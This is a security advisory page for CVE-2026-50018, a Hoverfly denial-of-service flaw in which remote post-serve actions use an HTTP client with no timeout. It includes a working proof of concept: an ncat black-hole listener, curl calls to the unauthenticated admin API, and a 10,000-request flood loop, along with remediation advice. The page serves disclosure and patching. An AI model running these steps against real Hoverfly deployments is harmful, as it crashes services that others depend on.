Skip to main content

Hoverfly CVE-2026-50018

MEDIUM
Uncontrolled Resource Consumption (CWE-400)
2026-07-14 https://github.com/SpectoLabs/hoverfly GHSA-42j2-w334-qxw7
6.5
CVSS 3.1 · Vendor: https://github.com/SpectoLabs/hoverfly
Share

Severity by source

Vendor (https://github.com/SpectoLabs/hoverfly) PRIMARY
6.5 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
vuln.today AI
7.5 HIGH

Attacker controls all required steps without victim interaction, removing UI:R; admin API is unauthenticated by default (PR:N); impact is availability-only.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE
MEDIUM
qualitative

Primary rating from Vendor (https://github.com/SpectoLabs/hoverfly).

CVSS VectorVendor: https://github.com/SpectoLabs/hoverfly

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 22, 2026 - 15:05 vuln.today
Analysis Generated
Jul 22, 2026 - 15:05 vuln.today
CVE Published
Jul 14, 2026 - 18:04 github-advisory
MEDIUM 6.5

DescriptionCVE.org

Summary:

Remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.

Details:

1. Remote actions executed in goroutines without timeout (core/hoverfly.go:224-228):

go
go postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)

Post-serve actions are executed in separate goroutines with no recovery wrapper.

2. HTTP client has no timeout (core/action/action.go:128-143):

go
req, err := http.NewRequest("POST", action.Remote, bytes.NewBuffer(pairViewBytes))
// ...
resp, err := http.DefaultClient.Do(req)  // No timeout! Blocks forever.

http.DefaultClient has zero timeout by default in Go. If the remote server:

  • Accepts the TCP connection but never sends a response
  • Establishes TLS but never completes the handshake
  • Uses TCP window size 0 (flow control stall)

...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.

3. No goroutine limit or backpressure:

There is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.

4. The goroutine is never cleaned up:

The only exit path from Execute() is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.

Environment:

  • Hoverfly version: v1.12.7
  • Operating System: macOS Darwin 25.4.0
  • Go version: 1.26.2
  • Configuration: Default (no flags required)

POC:

Step 1: Start a black-hole TCP listener (accepts connections, never responds)

bash
# Option A: Use ncat
ncat -l -k 9999 &
# Option B: Use a non-routable IP (connections hang at TCP SYN)
# 192.0.2.1 is TEST-NET-1, guaranteed non-routable
# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)

Step 2: Register remote post-serve action pointing to the black hole

bash
curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \
  -H "Content-Type: application/json" \
  -d '{
    "actionName": "leak",
    "remote": "http://192.0.2.1:9999/blackhole",
    "delayInMs": 0
  }'

Step 3: Load a catch-all simulation

bash
curl -X PUT http://localhost:8888/api/v2/simulation \
  -H "Content-Type: application/json" \
  -d '{
    "data": {
      "pairs": [{
        "request": {"path": [{"matcher": "glob", "value": "*"}]},
        "response": {"status": 200, "body": "ok", "postServeAction": "leak"}
      }],
      "globalActions": {"delays": [], "delaysLogNormal": []}
    },
    "meta": {"schemaVersion": "v5.2"}
  }'

Step 4: Flood with requests

bash
# Each request spawns an immortal goroutine
for i in $(seq 1 10000); do
    curl -s -x http://localhost:8500 "http://target.com/req${i}" &
# Throttle to avoid local FD exhaustion
    [ $((i % 100)) -eq 0 ] && wait
done

Verified memory impact on Hoverfly v1.12.7:

Memory before: 20,064 KB
Memory after 50 requests: 23,376 KB
Memory increase: 3,312 KB (66 KB per goroutine)

At this rate:

  • 1,000 requests = ~64 MB leaked
  • 10,000 requests = ~640 MB leaked
  • 100,000 requests = ~6.4 GB leaked → OOM crash

Impact:

An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:

  1. Registering a remote post-serve action pointing to a non-responsive endpoint.
  2. Loading a catch-all simulation that triggers the action on every request.
  3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.

AnalysisAI

Unbounded goroutine accumulation in Hoverfly v1.12.7 and earlier allows remote denial of service via its remote post-serve action feature. The unauthenticated admin API permits any network-reachable attacker to register a post-serve action pointing at a black-hole TCP endpoint, load a catch-all simulation, then flood the proxy port - each matching request spawns a goroutine that blocks indefinitely in http.DefaultClient.Do(), consuming approximately 66 KB each until the process is OOM-killed. A detailed proof-of-concept with verified memory measurements is publicly available in GitHub Security Advisory GHSA-42j2-w334-qxw7; no CISA KEV listing has been recorded at time of analysis.

Technical ContextAI

Hoverfly is a Go-based service virtualization proxy (pkg:go/github.com/SpectoLabs/hoverfly) used for API simulation and testing. The flaw resides in core/action/action.go within the Execute() function, which issues HTTP POST requests to remote endpoints using Go's http.DefaultClient - a package-level shared client whose Timeout field is zero by default, meaning no deadline is ever set. Each proxy request matching a simulation with a remote post-serve action unconditionally spawns a new goroutine via go postServeAction.Execute(...) in core/hoverfly.go:224-228. If the remote server accepts the TCP connection but never delivers an HTTP response (black-hole listener, TLS stall, or TCP window-size-zero flow-control freeze), the goroutine blocks permanently in http.DefaultClient.Do() with no context cancellation, no deadline, and no cleanup path. The root cause class is CWE-400 (Uncontrolled Resource Consumption): there is no goroutine pool, semaphore, or backpressure mechanism limiting concurrent remote action goroutines.

RemediationAI

Upgrade to Hoverfly v1.12.8, which resolves the vulnerability by replacing http.DefaultClient with a dedicated http.Client{Timeout: 30 * time.Second} in the remote post-serve action executor, as implemented in PR #1228 (https://github.com/SpectoLabs/hoverfly/pull/1228). This ensures goroutines are released after 30 seconds regardless of endpoint behavior. If immediate upgrade is not feasible, restrict network access to the admin API (default port 8888) via host-based firewall rules or by binding it to localhost only - this prevents untrusted actors from registering remote post-serve actions and loading malicious simulations, which are the necessary preconditions for exploitation. This network control does not affect proxy functionality on port 8500. As an additional precaution, audit any existing simulations for remote post-serve actions pointing to external or untrusted endpoints and remove them until patched.

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

CVE-2026-50018 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy